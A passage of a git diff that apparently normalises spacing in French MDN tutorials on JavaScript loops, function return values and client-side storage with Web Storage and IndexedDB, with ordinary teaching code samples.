("input")}} nous permettant d'entrer un nom à rechercher, un élément {{htmlelement ("button")}} pour soumettre une recherche, et un {{htmlelement ("p")}} élément pour afficher les résultats dans : @@ -364,7 +364,7 @@ bouton.addEventListener('click', function() { {{EmbedLiveSample('', '100%', 100)}} 1. Tout d'abord, nous avons quelques définitions de variables — nous avons un tableau d'informations de contact, avec chaque élément étant une chaîne contenant un nom et un numéro de téléphone séparés par deux points. -2. Ensuite, nous attachons un écouteur d'événement au bouton (`bouton`), de sorte que quand il est pressé, du code est exécuté pour effectuer la recherche et renvoyer les résultats. +2. Ensuite, nous attachons un écouteur d'événement au bouton (`bouton`), de sorte que quand il est pressé, du code est exécuté pour effectuer la recherche et renvoyer les résultats. 3. Nous stockons la valeur saisie dans l'input dans une variable appelée `searchName`, , avant de vider l'input et le recentrer, prêt pour la recherche suivante. 4. Maintenant sur la partie intéressante, la boucle for : @@ -510,7 +510,7 @@ do { } while (i < cats.length); ``` -> **Note :** Encore, cela fonctionne toujours comme prévu — regardez le ici [GitHub](http://mdn.github.io/learning-area/javascript/building-blocks/loops/do-while.html) ([Voir en ligne](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/do-while.html) le code complet). +> **Note :** Encore, cela fonctionne toujours comme prévu — regardez le ici [GitHub](http://mdn.github.io/learning-area/javascript/building-blocks/loops/do-while.html) ([Voir en ligne](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/do-while.html) le code complet). > **Attention :** Avec while et do ... while – comme avec toutes les boucles – vous devez vous assurer que l'initialiseur est itéré pour qu'il atteigne finalement la condition de sortie. Si ce n'est pas le cas, la boucle continuera indéfiniment, et soit le navigateur l'arrêtera, soit il se bloquera. C'est ce qu'on appelle une **boucle infinie.** @@ -588,7 +588,7 @@ solution.addEventListener('click', function() { updateCode(); }); -let jsSolution = 'let output = document.querySelector(\'.output\');\noutput.innerHTML = \'\';\n\nlet i = 10;\n\nwhile(i >= 0) {\n let para = document.createElement(\'p\');\n if(i === 10) {\n para.textContent = \'Countdown \' + i;\n } else if(i === 0) {\n para.textContent = \'Blast off!\';\n } else {\n para.textContent = i;\n }\n\n output.appendChild(para);\n\n i--;\n}'; +let jsSolution = 'let output = document.querySelector(\'.output\');\noutput.innerHTML = \'\';\n\nlet i = 10;\n\nwhile(i >= 0) {\n let para = document.createElement(\'p\');\n if(i === 10) {\n para.textContent = \'Countdown \' + i;\n } else if(i === 0) {\n para.textContent = \'Blast off!\';\n } else {\n para.textContent = i;\n }\n\n output.appendChild(para);\n\n i--;\n}'; let solutionEntry = jsSolution; textarea.addEventListener('input', updateCode); @@ -645,11 +645,11 @@ Dans cet exercice, nous vous proposons de prendre une liste d'invités stockée Plus précisément, nous attendons de vous : -- Que vous écriviez une boucle qui créé une itération de 0 jusqu'à la fin du tableau `people`. Vous aurez besoin de commencer avec un initialiseur type `let i = 0;` , mais quelle sera la condition de sortie +- Que vous écriviez une boucle qui créé une itération de 0 jusqu'à la fin du tableau `people`. Vous aurez besoin de commencer avec un initialiseur type `let i = 0;` , mais quelle sera la condition de sortie - Au cours de chaque itération, vérifiez si l'élément actuel du tableau est "Phil" ou "Lola" en utilisant une déclaration conditionnelle. - - Si tel est le cas, concaténez l'élément à la fin du paragraphe `refused` du `textContent`, suivi d'une virgule et d'un espace. - - Dans le cas contraire, concaténez l'élément à la fin du paragraphe `admitted` du `textContent` suivi d'une virgule et d'un espace. + - Si tel est le cas, concaténez l'élément à la fin du paragraphe `refused` du `textContent`, suivi d'une virgule et d'un espace. + - Dans le cas contraire, concaténez l'élément à la fin du paragraphe `admitted` du `textContent` suivi d'une virgule et d'un espace. Nous vous avons déjà fourni les éléments suivants : @@ -796,7 +796,7 @@ textarea.onkeyup = function(){ ## Quel type de boucle utiliser ? -Pour des usages basiques les boucles `for`, `while`, et `do...while` sont largement interchangeables. Elles résolvent toutes le même problème et celle que vous utiliserez dépendra de vos préférences personnelles — celle que vous trouverez le plus facile à mémoriser ou la plus intuitive. Jetons-y un coup d'oeil à nouveau. +Pour des usages basiques les boucles `for`, `while`, et `do...while` sont largement interchangeables. Elles résolvent toutes le même problème et celle que vous utiliserez dépendra de vos préférences personnelles — celle que vous trouverez le plus facile à mémoriser ou la plus intuitive. Jetons-y un coup d'oeil à nouveau. Premièrement `for`: diff --git a/files/fr/learn/javascript/building_blocks/return_values/index.md b/files/fr/learn/javascript/building_blocks/return_values/index.md index f801f4c918..9f008d39f5 100644 --- a/files/fr/learn/javascript/building_blocks/return_values/index.md +++ b/files/fr/learn/javascript/building_blocks/return_values/index.md @@ -16,7 +16,7 @@ original_slug: Apprendre/JavaScript/Building_blocks/Return_values --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}} -Il y a un concept essentiel que nous devons aborder dans ce cours, pour être complet sur les fonctions: les valeurs de retour. Certaines fonctions ne retournent pas de valeur significative après avoir été exécutées, mais d'autres oui, il est important de comprendre ces valeurs, comment les utiliser dans votre code et comment faire pour que vos propres fonctions retournent des valeurs utiles. Nous aborderons tout cela dans cet article. +Il y a un concept essentiel que nous devons aborder dans ce cours, pour être complet sur les fonctions: les valeurs de retour. Certaines fonctions ne retournent pas de valeur significative après avoir été exécutées, mais d'autres oui, il est important de comprendre ces valeurs, comment les utiliser dans votre code et comment faire pour que vos propres fonctions retournent des valeurs utiles. Nous aborderons tout cela dans cet article. <table class="standard-table"> <tbody> @@ -43,7 +43,7 @@ Il y a un concept essentiel que nous devons aborder dans ce cours, pour être co ## Qu'est-ce que les valeurs de retour? -**Les valeurs de retour** sont, comme leur nom l'indique, les valeurs retournées par une fonction après son exécution. Vous en avez déjà rencontré plusieurs fois sans y avoir pensé explicitement. Revenons à notre code: +**Les valeurs de retour** sont, comme leur nom l'indique, les valeurs retournées par une fonction après son exécution. Vous en avez déjà rencontré plusieurs fois sans y avoir pensé explicitement. Revenons à notre code: ```js var myText = 'I am a string'; @@ -54,17 +54,17 @@ console.log(newString); // a new string with the replacement made ``` -Nous avons vu ce bloc de code dans notre premier article sur les fonctions. Nous appelons la fonction [replace()](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace) sur la chaîne de caractères `myText` , et lui passons deux paramètres: la chaîne à trouver ('string'), et la chaîne de remplacement ('sausage'). Lorsque cette fonction a fini de s'exécuter, elle retourne une valeur qui est une chaîne avec le remplacement effectué. Dans le code ci-dessus, nous sauvegardons cette valeur avec la variable newString. +Nous avons vu ce bloc de code dans notre premier article sur les fonctions. Nous appelons la fonction [replace()](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace) sur la chaîne de caractères `myText` , et lui passons deux paramètres: la chaîne à trouver ('string'), et la chaîne de remplacement ('sausage'). Lorsque cette fonction a fini de s'exécuter, elle retourne une valeur qui est une chaîne avec le remplacement effectué. Dans le code ci-dessus, nous sauvegardons cette valeur avec la variable newString. -Si vous regardez la page de référence MDN sur le remplacement de fonction, vous verrez une section intitulée [Valeur retournée](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Return_value). Il est utile de savoir et de comprendre quelles sont les valeurs retournées par les fonctions, nous avons donc essayé d'inclure cette information partout où cela était possible. +Si vous regardez la page de référence MDN sur le remplacement de fonction, vous verrez une section intitulée [Valeur retournée](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Return_value). Il est utile de savoir et de comprendre quelles sont les valeurs retournées par les fonctions, nous avons donc essayé d'inclure cette information partout où cela était possible. -Certaines fonctions ne retournent pas de valeur comme telle (dans nos pages de référence, la valeur de retour est définie comme `void` ou `undefined` dans de tels cas). Par exemple, dans la fonction [`displayMessage()`](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html#L50) construite dans l'article précédent, aucune valeur spécifique n'est retournée comme résultat de la fonction appelée. Il y a seulement une boîte qui apparaît, c'est tout ! +Certaines fonctions ne retournent pas de valeur comme telle (dans nos pages de référence, la valeur de retour est définie comme `void` ou `undefined` dans de tels cas). Par exemple, dans la fonction [`displayMessage()`](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html#L50) construite dans l'article précédent, aucune valeur spécifique n'est retournée comme résultat de la fonction appelée. Il y a seulement une boîte qui apparaît, c'est tout ! Généralement, une valeur de retour est utilisée lorsque la fonction est une étape intermédiaire dans un programme. Ces valeurs intermédiaires doivent être d'abord évaluées par une fonction, le résultat renvoyé pourra être ensuite utilisé dans l'étape suivante du programme. ### Utiliser des valeurs de retour dans vos fonctions -Pour retourner une valeur d'une fonction que vous avez créée, vous devez utiliser... suspense... le mot-clef [return](/fr/docs/Web/JavaScript/Reference/Statements/return) . Nous avons vu son utilisation dans l'exemple [random-canvas-circles.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html). Notre fonction `draw()` dessine 100 cercles aléatoires en HTML. {{htmlelement("canvas")}}: +Pour retourner une valeur d'une fonction que vous avez créée, vous devez utiliser... suspense... le mot-clef [return](/fr/docs/Web/JavaScript/Reference/Statements/return) . Nous avons vu son utilisation dans l'exemple [random-canvas-circles.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html). Notre fonction `draw()` dessine 100 cercles aléatoires en HTML. {{htmlelement("canvas")}}: ```js function draw() { @@ -78,7 +78,7 @@ function draw() { } ``` -À chaque itération de la boucle, on fait trois fois appel à la fonction `random()` pour générer respectivement une valeur aléatoire pour les coordonnées x et y du cercle, ainsi que pour son rayon. La fonction `random()` prend un seul paramètre — un nombre entier — et elle retourne un nombre entier aléatoire compris entre 0 et ce nombre. Voici à quoi cela ressemble: +À chaque itération de la boucle, on fait trois fois appel à la fonction `random()` pour générer respectivement une valeur aléatoire pour les coordonnées x et y du cercle, ainsi que pour son rayon. La fonction `random()` prend un seul paramètre — un nombre entier — et elle retourne un nombre entier aléatoire compris entre 0 et ce nombre. Voici à quoi cela ressemble: ```js function random(number) { @@ -103,7 +103,7 @@ La fonction retourne le résultat de `Math.floor(Math.random()*number)` chaque f ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); ``` -et que les trois appels `random()` retournent respectivement les valeurs 500, 200 et 35, la ligne pourrait être écrite de cette façon: +et que les trois appels `random()` retournent respectivement les valeurs 500, 200 et 35, la ligne pourrait être écrite de cette façon: ```js ctx.arc(500, 200, 35, 0, 2 * Math.PI); @@ -115,8 +115,8 @@ Les fonctions de la ligne sont évaluées en premières, et leurs valeurs de ret Allons-y, écrivons nos propres fonctions avec des valeurs de retour. -1. Pour commencer, faites une copie locale du fichier [function-library.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library.html) à partir de GitHub. Il s'agit d'une simple page HTML contenant un champ texte {{htmlelement("input")}} et un paragraphe. Il y a également un élément {{htmlelement("script")}} qui référence ces éléments HTML dans deux variables. Cette page vous permettra d'entrer un nombre dans le champ texte, et affichera, dans le paragraphe au-dessous, différents nombres en lien avec celui entré. -2. Ajoutons quelques fonctions dans `<script>` . Sous les deux lignes existantes de JavaScript, ajoutez les définitions des fonctions suivantes: +1. Pour commencer, faites une copie locale du fichier [function-library.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library.html) à partir de GitHub. Il s'agit d'une simple page HTML contenant un champ texte {{htmlelement("input")}} et un paragraphe. Il y a également un élément {{htmlelement("script")}} qui référence ces éléments HTML dans deux variables. Cette page vous permettra d'entrer un nombre dans le champ texte, et affichera, dans le paragraphe au-dessous, différents nombres en lien avec celui entré. +2. Ajoutons quelques fonctions dans `<script>` . Sous les deux lignes existantes de JavaScript, ajoutez les définitions des fonctions suivantes: ```js function squared(num) { @@ -137,7 +137,7 @@ Allons-y, écrivons nos propres fonctions avec des valeurs de retour. } ``` - Les fonctions `squared()` et `cubed()` sont plutôt évidentes, elle retournent le carré et le cube du nombre donné en paramètre. La fonction `factorial()` retourne la [factorielle](https://en.wikipedia.org/wiki/Factorial) du nombre donné. + Les fonctions `squared()` et `cubed()` sont plutôt évidentes, elle retournent le carré et le cube du nombre donné en paramètre. La fonction `factorial()` retourne la [factorielle](https://en.wikipedia.org/wiki/Factorial) du nombre donné. 3. Ensuite, nous allons ajouter un moyen d'afficher des informations sur le nombre entré dans le champ texte. Ajoutez le gestionnaire d'événement suivant à la suite des fonctions: @@ -154,33 +154,33 @@ Allons-y, écrivons nos propres fonctions avec des valeurs de retour. } ``` - Ici nous créons un gestionnaire d'événement `onchange` qui s'exécute chaque fois que l'événement `change` se déclenche sur le champ de saisie de texte, c'est-à-dire lorsqu'une nouvelle valeur est entrée dans le champ de saisie de texte, puis qu'elle est soumise (par exemple lorsqu'on entre une valeur puis qu'on appuie sur Tab). Quand cette fonction anonyme s'exécute, la valeur entrée dans le champ de saisie est stockée dans la variable `num`. + Ici nous créons un gestionnaire d'événement `onchange` qui s'exécute chaque fois que l'événement `change` se déclenche sur le champ de saisie de texte, c'est-à-dire lorsqu'une nouvelle valeur est entrée dans le champ de saisie de texte, puis qu'elle est soumise (par exemple lorsqu'on entre une valeur puis qu'on appuie sur Tab). Quand cette fonction anonyme s'exécute, la valeur entrée dans le champ de saisie est stockée dans la variable `num`. - Ensuite, nous faisons un test: Si la valeur entrée n'est pas un nombre, un message d'erreur s'affiche dans le paragraphe. Le test vérifie si l'expression `isNaN(num)` retourne `true`. Nous utilisons la fonction [isNaN()](/fr/docs/Web/JavaScript/Reference/Global_Objects/isNaN) pour vérifier si la valeur `num` est un nombre — si c'est le cas, elle retourne `false`, sinon `true`. + Ensuite, nous faisons un test: Si la valeur entrée n'est pas un nombre, un message d'erreur s'affiche dans le paragraphe. Le test vérifie si l'expression `isNaN(num)` retourne `true`. Nous utilisons la fonction [isNaN()](/fr/docs/Web/JavaScript/Reference/Global_Objects/isNaN) pour vérifier si la valeur `num` est un nombre — si c'est le cas, elle retourne `false`, sinon `true`. - Si le test retourne `false`, la valeur `num` est un nombre, alors une phrase s'affiche dans le paragraphe indiquant le carré, le cube et la factorielle du nombre. La phrase appelle les fonctions `squared()`, `cubed()` et `factorial()` pour obtenir les valeurs désirées. + Si le test retourne `false`, la valeur `num` est un nombre, alors une phrase s'affiche dans le paragraphe indiquant le carré, le cube et la factorielle du nombre. La phrase appelle les fonctions `squared()`, `cubed()` et `factorial()` pour obtenir les valeurs désirées. 4. Sauvegardez votre code, chargez-le dans votre navigateur et testez-le. -> **Note :** Si vous rencontrez des difficultés pour faire fonctionner cet exemple, vous pouvez vérifier le code en le comparant à la [Version final sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library-finished.html) (également [Démonstration en direct](http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-library-finished.html)), ou demandez-nous de l'aide. +> **Note :** Si vous rencontrez des difficultés pour faire fonctionner cet exemple, vous pouvez vérifier le code en le comparant à la [Version final sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-library-finished.html) (également [Démonstration en direct](http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-library-finished.html)), ou demandez-nous de l'aide. À ce stade, nous aimerions que vous essayiez d'écrire quelque fonctions de votre choix et que vous les ajoutiez à la bibliothèque. Que diriez-vous des racines carré et cubique du nombre, ou de la circonférence d'un cercle de rayon `num`? -Cet exercice a soulevé quelques points importants en plus de nous avoir permis d'étudier l'utilisation de la déclaration `return`. De plus, nous avons: +Cet exercice a soulevé quelques points importants en plus de nous avoir permis d'étudier l'utilisation de la déclaration `return`. De plus, nous avons: -- Examiné un autre exemple d'écriture de gestion d'erreurs dans nos fonctions. C'est une bonne idée de vérifier que tous les paramètres nécessaires ont été fournis, avec les bons types de données, et, s'ils sont facultatifs, qu'une valeur par défaut est fournie. De cette façon, votre programme sera moins susceptible de lever des erreurs. -- Pensé à créer une bibliothèque de fonctions. À mesure que vous avancerez dans votre carrière de développeur, vous recommencerez les mêmes choses encore et encore. C'est une bonne idée de commencer à créer votre propre bibliothèque de fonctions utilitaires que vous utilisez très souvent — vous pouvez ensuite copier ces fonctions dans votre nouveau code, ou même utiliser la bibliothèque dans les pages HTML où vous en avez besoin. +- Examiné un autre exemple d'écriture de gestion d'erreurs dans nos fonctions. C'est une bonne idée de vérifier que tous les paramètres nécessaires ont été fournis, avec les bons types de données, et, s'ils sont facultatifs, qu'une valeur par défaut est fournie. De cette façon, votre programme sera moins susceptible de lever des erreurs. +- Pensé à créer une bibliothèque de fonctions. À mesure que vous avancerez dans votre carrière de développeur, vous recommencerez les mêmes choses encore et encore. C'est une bonne idée de commencer à créer votre propre bibliothèque de fonctions utilitaires que vous utilisez très souvent — vous pouvez ensuite copier ces fonctions dans votre nouveau code, ou même utiliser la bibliothèque dans les pages HTML où vous en avez besoin. ## Conclusion Nous l'avons vu, les fonctions sont amusantes, très utiles et, bien qu'il y ait beaucoup à dire en termes de syntaxe et de fonctionnalités, elles sont assez compréhensibles si elles sont étudiés correctement. -Si vous n'avez pas compris quelque chose, n'hésitez pas à relire l'article, ou [contactez-nous](/fr/Learn#Contact_us) pour obtenir de l'aide. +Si vous n'avez pas compris quelque chose, n'hésitez pas à relire l'article, ou [contactez-nous](/fr/Learn#Contact_us) pour obtenir de l'aide. ## Voir aussi -- [Fonctions en profondeur](/fr/docs/Web/JavaScript/Reference/Functions) — Un guide détaillé couvrant des information plus avancées sur les fonctions. -- [Fonction Callback en JavaScript](https://www.impressivewebs.com/callback-functions-javascript/) — Une façon courante en JavaScript consiste à passer une fonction à une autre en tant qu'argument, qui est alors appelée à l'intérieur de la première fonction. Cela va au delà de la portée de ce cours, mais mériterait d'être étudier rapidement. +- [Fonctions en profondeur](/fr/docs/Web/JavaScript/Reference/Functions) — Un guide détaillé couvrant des information plus avancées sur les fonctions. +- [Fonction Callback en JavaScript](https://www.impressivewebs.com/callback-functions-javascript/) — Une façon courante en JavaScript consiste à passer une fonction à une autre en tant qu'argument, qui est alors appelée à l'intérieur de la première fonction. Cela va au delà de la portée de ce cours, mais mériterait d'être étudier rapidement. {{PreviousMenuNext("Learn/JavaScript/Building_blocks/Build_your_own_function","Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}} diff --git a/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.md b/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.md index 5940cfeb39..3ce3ca510d 100644 --- a/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.md @@ -17,7 +17,7 @@ original_slug: Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage {{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}} -Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage à long terme, de sauvegarder des documents ou des sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur et plus encore. Cet article explique les fondamentaux pour y parvenir. +Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage à long terme, de sauvegarder des documents ou des sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur et plus encore. Cet article explique les fondamentaux pour y parvenir. <table class="standard-table"> <tbody> @@ -50,30 +50,30 @@ Les navigateurs web modernes permettent aux sites web de stocker des données su Ailleurs dans la zone d'apprentissage de MDN, nous avons parlé de la différence entre les [sites statiques](/fr/docs/Learn/Server-side/First_steps/Client-Server_overview#Static_sites) et les [sites dynamiques](/fr/docs/Learn/Server-side/First_steps/Client-Server_overview#Dynamic_sites) — ces derniers stockent des données [côté serveur](/fr/docs/Learn/Server-side) en utilisant une base de données. Ensuite, ils exécutent du code pour récupérer les données et les insérer dans des templates de page statique. Finalement, le HTML résultant est envoyé au client, qui est alors affiché par le navigateur de l'utilisateur. -Le stockage côté client fonctionne sur des principes similaires, mais pour une utilisation différente. Le stockage côté client repose sur des APIs JavaScript qui permettent de stocker des données sur la machine de l'utilisateur et de les récupérer au besoin. Cela peut se révéler utile dans différents cas comme : +Le stockage côté client fonctionne sur des principes similaires, mais pour une utilisation différente. Le stockage côté client repose sur des APIs JavaScript qui permettent de stocker des données sur la machine de l'utilisateur et de les récupérer au besoin. Cela peut se révéler utile dans différents cas comme : - Personnaliser les préférences du site (par exemple, afficher des widgets personnalisés selon le choix de l'utilisateur, changer le thème du site ou la taille de la police). - Enregistrer les activités sur le site (comme le contenu d'un panier d'achat d'une session précédente, ou encore se souvenir si l'utilisateur s'est déjà connecté). - Sauvegarder des données et ressources localement pour pouvoir accéder au site plus rapidement ou même sans connexion réseau. - Sauvegarder des documents générés par l'application pour une utilisation hors ligne. -Souvent, le stockage côté client et côté serveur sont utilisés ensemble. Par exemple, vous pouvez télécharger à partir d'une base de données côté serveur une série de fichiers mp3 utilisés par un site web (comme un jeu ou une application de musique) vers une base de données côté client et ainsi pouvoir les lire quand vous le voulez. Avec cette stratégie, l'utilisateur n'a à télécharger le fichier qu'une seule fois — les visites suivantes, ils sont récupérés à partir de la base de données locale. +Souvent, le stockage côté client et côté serveur sont utilisés ensemble. Par exemple, vous pouvez télécharger à partir d'une base de données côté serveur une série de fichiers mp3 utilisés par un site web (comme un jeu ou une application de musique) vers une base de données côté client et ainsi pouvoir les lire quand vous le voulez. Avec cette stratégie, l'utilisateur n'a à télécharger le fichier qu'une seule fois — les visites suivantes, ils sont récupérés à partir de la base de données locale. -> **Note :** La quantité de données que l'on peut stocker à l'aide des APIs de stockage côté client est limitée (limite par API et limite globale), la limite exacte dépend du navigateur et des configurations. Voir [Limites de stockage du navigateur et critères d'éviction](/fr/docs/Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria) pour plus d'informations. +> **Note :** La quantité de données que l'on peut stocker à l'aide des APIs de stockage côté client est limitée (limite par API et limite globale), la limite exacte dépend du navigateur et des configurations. Voir [Limites de stockage du navigateur et critères d'éviction](/fr/docs/Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria) pour plus d'informations. ### À l'ancienne : les cookies Le concept de stockage côté client existe depuis longtemps. Au début du web, les sites utilisaient des [cookies](/fr/docs/Web/HTTP/Cookies) pour stocker des informations et personnaliser l'expérience utilisateur. C'est la méthode de stockage côté client la plus couramment utilisée et la plus ancienne. -De par leur histoire, les cookies souffrent d'un certain nombre de problèmes — tant techniques qu'au niveau de l'expérience utilisateur. Ces problèmes sont suffisamment importants pour imposer un message d'information aux utilisateurs habitant en Europe lors de leur première visite si le site utilise des cookies pour stocker des informations sur eux. Cela est dû à une loi de l'Union Européenne connue sous le nom de [directive Cookie](/fr/docs/Web/HTTP/Cookies#EU_cookie_directive). +De par leur histoire, les cookies souffrent d'un certain nombre de problèmes — tant techniques qu'au niveau de l'expérience utilisateur. Ces problèmes sont suffisamment importants pour imposer un message d'information aux utilisateurs habitant en Europe lors de leur première visite si le site utilise des cookies pour stocker des informations sur eux. Cela est dû à une loi de l'Union Européenne connue sous le nom de [directive Cookie](/fr/docs/Web/HTTP/Cookies#EU_cookie_directive).  -Pour ces raisons, nous ne verrons pas dans cet article comment utiliser les cookies. Entre le fait qu'ils sont dépassés, les [problèmes de sécurité](/fr/docs/Web/HTTP/Cookies#Security) qu'ils présentent et l'incapacité de stocker des données complexes, les cookies ne sont pas la meilleure manière pour stocker des données. Il y a de meilleures alternatives, modernes, permettant de stocker des données variées sur l'ordinateur de l'utilisateur. +Pour ces raisons, nous ne verrons pas dans cet article comment utiliser les cookies. Entre le fait qu'ils sont dépassés, les [problèmes de sécurité](/fr/docs/Web/HTTP/Cookies#Security) qu'ils présentent et l'incapacité de stocker des données complexes, les cookies ne sont pas la meilleure manière pour stocker des données. Il y a de meilleures alternatives, modernes, permettant de stocker des données variées sur l'ordinateur de l'utilisateur. -Le seul avantage des cookies est qu'ils sont supportés par des navigateurs anciens : si votre projet requiert le support de navigateurs obsolètes (comme Internet Explorer 8 et inférieur), les cookies peuvent se révéler utiles. Pour la plupart des projets, vous ne devriez pas avoir besoin d'y recourir. +Le seul avantage des cookies est qu'ils sont supportés par des navigateurs anciens : si votre projet requiert le support de navigateurs obsolètes (comme Internet Explorer 8 et inférieur), les cookies peuvent se révéler utiles. Pour la plupart des projets, vous ne devriez pas avoir besoin d'y recourir. -> **Note :** Pourquoi existe-t-il encore de nouveaux sites crées à l'aide de cookies? Principalement de par les habitudes des développeurs, l'utilisation de bibliothèques anciennes qui utilisent encore des cookies et l'existence de nombreux sites web fournissant des formations et références dépassées pour apprendre à stocker des données. +> **Note :** Pourquoi existe-t-il encore de nouveaux sites crées à l'aide de cookies? Principalement de par les habitudes des développeurs, l'utilisation de bibliothèques anciennes qui utilisent encore des cookies et l'existence de nombreux sites web fournissant des formations et références dépassées pour apprendre à stocker des données. ### La nouvelle école : Web Storage et IndexedDB @@ -86,7 +86,7 @@ Vous en apprendrez plus sur ces APIs ci-dessous. ### Le futur : l'API Cache -Certains navigateurs modernes prennent en charge la nouvelle API {{domxref("Cache")}}. Cette API a été conçue pour stocker les réponses HTTP de requêtes données et est très utile pour stocker des ressources du site afin qu'il soit accessible sans connexion réseau par exemple. Le cache est généralement utilisé avec l'[API Service Worker](/fr/docs/Web/API/Service_Worker_API), mais ce n'est pas obligatoire. +Certains navigateurs modernes prennent en charge la nouvelle API {{domxref("Cache")}}. Cette API a été conçue pour stocker les réponses HTTP de requêtes données et est très utile pour stocker des ressources du site afin qu'il soit accessible sans connexion réseau par exemple. Le cache est généralement utilisé avec l'[API Service Worker](/fr/docs/Web/API/Service_Worker_API), mais ce n'est pas obligatoire. L'utilisation du Cache et des Service Workers est un sujet avancé, nous ne le traiterons pas en détail dans cet article, nous ne montrerons qu'un simple exemple dans la section {{anch("Stockage hors-ligne de ressources")}} plus bas. @@ -169,7 +169,7 @@ Le HTML de l'exemple est disponible à [personal-greeting.html](https://github.c Nous allons construire cet exemple pas à pas, cela vous permettra de comprendre comment ça marche. 1. D'abord, copiez notre fichier [personal-greeting.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html) dans un nouveau répertoire sur votre ordinateur. -2. Ensuite, créez un fichier `index.js` dans le même répertoire que le fichier HTML — le fichier HTML inclut ce script (voir ligne 40). +2. Ensuite, créez un fichier `index.js` dans le même répertoire que le fichier HTML — le fichier HTML inclut ce script (voir ligne 40). 3. Nous allons commencer par récupérer les références de tous les éléments HTML qu'on manipulera dans cet exemple — nous les créons en tant que constantes car ces références n'ont pas besoin d'être modifiées au cours de l'exécution de l'application. Ajoutez les lignes suivantes à votre fichier JavaScript: ```js @@ -255,11 +255,11 @@ Notre exemple est terminé — bien joué ! Il ne vous reste plus qu'à enregist > **Note :** Vous pouvez trouver un exemple un peu plus complexe dans l'article [Utiliser l'API de stockage web](/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API). -> **Note :** Dans la ligne `<script src="index.js" defer></script>` de notre version finie, l'attribut `defer` spécifie que le contenu de l'élément {{htmlelement("script")}} ne doit pas s'exécuter avant que la page ait fini de charger. +> **Note :** Dans la ligne `<script src="index.js" defer></script>` de notre version finie, l'attribut `defer` spécifie que le contenu de l'élément {{htmlelement("script")}} ne doit pas s'exécuter avant que la page ait fini de charger. ## Stocker des données complexes — IndexedDB -L'[API IndexedDB](/fr/docs/Web/API/IndexedDB_API) (parfois abrégé IDB) est un système de base de données complet disponible dans le navigateur. Vous pouvez y stocker des données complexes, les types ne sont pas limités à des valeurs simples de type chaînes ou nombres. Vous pouvez stocker des vidéos, des images et à peu près tout ce que vous voulez, dans une instance IndexedDB. +L'[API IndexedDB](/fr/docs/Web/API/IndexedDB_API) (parfois abrégé IDB) est un système de base de données complet disponible dans le navigateur. Vous pouvez y stocker des données complexes, les types ne sont pas limités à des valeurs simples de type chaînes ou nombres. Vous pouvez stocker des vidéos, des images et à peu près tout ce que vous voulez, dans une instance IndexedDB. Cependant, cela a un coût : IndexedDB est beaucoup plus complexe à utiliser que l'API Web Storage. Dans cette section, nous ne ferons qu'égratigner la surface de ce qu'IndexedDB peut faire, mais nous vous en donnerons assez pour débuter. @@ -317,13 +317,13 @@ Voyons maintenant la première chose à faire, mettre en place la base de donné Cette ligne crée une requête `request` pour ouvrir la version `1` de la base de données appelée `notes`. Si elle n'existe pas déjà, on devra la créer via un gestionnaire d'événement. - Vous verrez très souvent ce format dans IndexedDB. Les opérations de base de données prennent du temps et on ne veut pas suspendre le navigateur le temps de récupérer le résultat, les opérations sur la base de données sont donc {{Glossary("asynchronous", "asynchrones")}} — ce qui signifie qu'au lieu d'arriver immédiatement, elles se produiront à un moment ultérieur et un événement sera déclenché lorsque cela arrivera. + Vous verrez très souvent ce format dans IndexedDB. Les opérations de base de données prennent du temps et on ne veut pas suspendre le navigateur le temps de récupérer le résultat, les opérations sur la base de données sont donc {{Glossary("asynchronous", "asynchrones")}} — ce qui signifie qu'au lieu d'arriver immédiatement, elles se produiront à un moment ultérieur et un événement sera déclenché lorsque cela arrivera. Pour gérer cela dans IndexedDB, on crée d'abord une requête (que vous pouvez appeler comme vous le voulez — on l'appelle `request` pour que ce soit plus explicite). On utilise ensuite des gestionnaire d'événement pour exécuter du code lorsque les requêtes sont terminées, échouent, etc, ce que l'on va voir ci-dessous. > **Note :** Le numéro de version est important. Si vous voulez mettre à jour votre base de données (par exemple, pour modifier la structure de la table), vous devez ré-exécuter votre code avec un numéro de version supérieur et spécifier le schéma de la base de données avec le gestionnaire d'événement `onupgradeneeded`. Nous ne verrons pas la mise à jour de base de données dans ce 